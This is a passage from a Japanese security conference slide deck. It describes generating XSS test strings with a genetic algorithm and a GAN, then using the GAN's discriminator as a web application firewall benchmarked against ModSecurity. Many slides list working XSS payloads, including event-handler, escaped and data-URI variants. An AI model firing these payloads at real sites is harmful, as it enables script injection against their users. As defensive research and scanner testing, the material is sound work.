<input/onload=confirm(1);> kind=<body <img onload=alert``;> <img src=x <keygen onerror=¥u0061lert``;> ・・・ ・GANの学習過程で生成された検査値 訓練データに含まれないHTMLタグを使った検査値も生成。 52
54.
AISECjp GANで生成した検査値(6/6) 1つの訓練データから、複数種類の検査値が生成される。 ※処理時間は30分程度。 検査値 訓練データ: <embed onload=alert();<script type="text/javascript"> --------------------------------------------------- 生成データ: <embed/onload=al¥u0065rt();¥n<script
type="text/javascript"> <embed onload=alert``;¥n<script type="text/javascript"> <embed/onload=prompt(1);¥n<script type="text/javascript"> <embed/src=x onload=confirm(1);¥n<script type="text/javascript"> ・・・ ・GANの学習過程で生成された検査値 53
55.
AISECjp! さらに検査値を増やす。 54
56.
AISECjp! GANで追加生成した検査値 訓練データに含まれないHTMLタグを使った検査値が生成される。 さらに、生成データを訓練データとする。以降、繰り返す・・・ 検査値 訓練データ: <object/src=x onload=alert();¥n<script type="text/javascript"> <script/src="data:text/html,alert();"<script></script> <img
src=x <keygen onerror=¥u0061lert``;> --------------------------------------------------- 生成データ: <svg/onload=al¥u0065rt();¥n<script type="text/javascript"> <iframe/*/onload=charset=alert();> <iframe src=x <keygen onload=alert();¥n<script></script> <script/src="data:text/html,alert``;"
<script></script> ・・・ 1回目に生成された新しいパターンの検査値を訓練データとする。 55
57.
AISECjp! GANで追加生成した検査値 検査値の偏りを防ぐ効果。 HTML/JS/記号の全組み合わせ検査値を生成できる可能性。 検査値 訓練データ: <object/src=x onload=alert();¥n<script type="text/javascript"> <script/src="data:text/html,alert();"<script></script> <img
src=x <keygen onerror=¥u0061lert``;> --------------------------------------------------- 生成データ: <svg/onload=al¥u0065rt();¥n<script type="text/javascript"> <iframe/*/onload=charset=alert();> <iframe src=x <keygen onload=alert();¥n<script></script> <script/src="data:text/html,alert``;"
<script></script> ・・・ 1回目に生成された新しいパターンの検査値を訓練データとする。 56
58.
AISECjp! ・ノウハウ無しでXSSの検査値を生成可能。 ・GAとGANの組み合わせで、効率よく大量の検査値を生成可能。 ・その他データの生成にも応用可能(要検証) *GAによる組み合わせ最適 ⇒ GANで増やす Summary [検証用コード] https://github.com/13o-bbr-bbq/machine_learning_security/tree/master/Generator 57
59.
AISECjp ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ Genetic Algorithm Probability True? GAN Fake Data: G(z) Noise
(Z) Generator (G) Train Data Train Data ・・・ Discriminator (D) X Discriminatorの有効活用 58
60.
AISECjp! Discriminatorの識別能力を、 有効活用できないか? Discriminatorの有効活用 59
61.
AISECjp! 入力値の真偽を見極める ≒ (Webアプリにとって) 有害な文字列か否か見極める Discriminatorの有効活用 60
62.
AISECjp! DiscriminatorをWAFとして 活用できないか? Discriminatorの有効活用 61
63.
AISECjp Discriminator検証システムの概要 Discriminator based WAF Target
Web Apps Tester Proxy server ModSecurity (CRS 2.2.9) block or allow payload 様々な検査値を送信し、 ModSecurityとDiscriminator based WAFの性能を比較。 block or allow 62
64.
AISECjp 検証結果 No1,2:False Positiveケース ModSecurity:無害な文字列を誤ってBlock Discriminator based
WAF:無害な文字列を正しくAllow * 単体でスクリプトが実行される検査値を有害と想定 No 検査値 ModSecurity Discriminator based WAF 1 <script>hello Block Allow 2 <a/alert();>hello Block Allow 3 <script>alert();</script> Block Block 4 <img src=x onerror=xss> Block Allow 5 <a onmouseover=alert();> Block Allow ・検証ケース/検証結果 63
65.
AISECjp 検証結果 No3:Normalケース ModSecurity:有害な文字列を正しくBlock Discriminator based WAF:有害な文字列を正しくBlock *
単体でスクリプトが実行される検査値を有害と想定 No 検査値 ModSecurity Discriminator based WAF 1 <script>hello Block Allow 2 <a/alert();>hello Block Allow 3 <script>alert();</script> Block Block 4 <img src=x onerror=xss> Block Allow 5 <a onmouseover=alert();> Block Allow ・検証ケース/検証結果 64
66.
AISECjp 検証結果 No4,5:False Negativeケース ModSecurity:有害な文字列を正しくBlock Discriminator based
WAF:有害な文字列を誤ってAllow * 単体でスクリプトが実行される検査値を有害と想定 No 検査値 ModSecurity Discriminator based WAF 1 <script>hello Block Allow 2 <a/alert();>hello Block Allow 3 <script>alert();</script> Block Block 4 <img src=x onerror=xss> Block Allow 5 <a onmouseover=alert();> Block Allow ・検証ケース/検証結果 65
67.
AISECjp 検証結果 No4,5:False Negativeケース Discriminator based
WAF:有害な文字列を誤ってAllow ⇒GANの学習時に訓練データに含まれない検査値。 追加学習することで正しくBlockできるか? No 検査値 ModSecurity Discriminator based WAF 1 <script>hello Block Allow 2 <a/alert();>hello Block Allow 3 <script>alert();</script> Block Block 4 <img src=x onerror=xss> Block Allow 5 <a onmouseover=alert();> Block Allow ・検証ケース/検証結果 66
68.
AISECjp 追加学習後の検証結果 No4,5:False Negativeケース Discriminator based
WAF:有害な文字列を正しくBlock ⇒様々な検査値を訓練データに含めることで、 検知性能を向上できる可能性。 No 検査値 Discriminator based WAF 4 <img src=x onerror=xss> Block 5 <a onmouseover=alert();> Block ・検証ケース/検証結果 67
69.
AISECjp ポエム:GANのセキュリティにおける利用用途 ・セキュアコーディング 訓練データ:セキュアなコード G:セキュアコード生成器、D:コードチェッカー。 ・マルウエア検知 訓練データ:マルウエア G:マルウエア(亜種)生成器、D:アンチマルウエア。 ・Scanner/WAFのシグネチャ生成 訓練データ:攻撃コード(XSS, SQLi, OSCMDi..) G:攻撃コード生成器、D:Web
Application Firewall 68
70.
AISECjp! ・ノウハウ無しでXSSの検査値を生成可能。 ・GAとGANの組み合わせで、効率よく大量の検査値を生成可能。 ・その他データの生成にも応用可能(要検証) *GAによる組み合わせ最適 ⇒ GANで増やす ・DiscriminatorをGeneratorのカウンターとして利用可能。 *Generator:攻撃側、Discriminator:防御側
etc. Summary 69
71.
Download “.PDF” version
of this document: ≫ https://www.slideshare.net/babaroa
Download now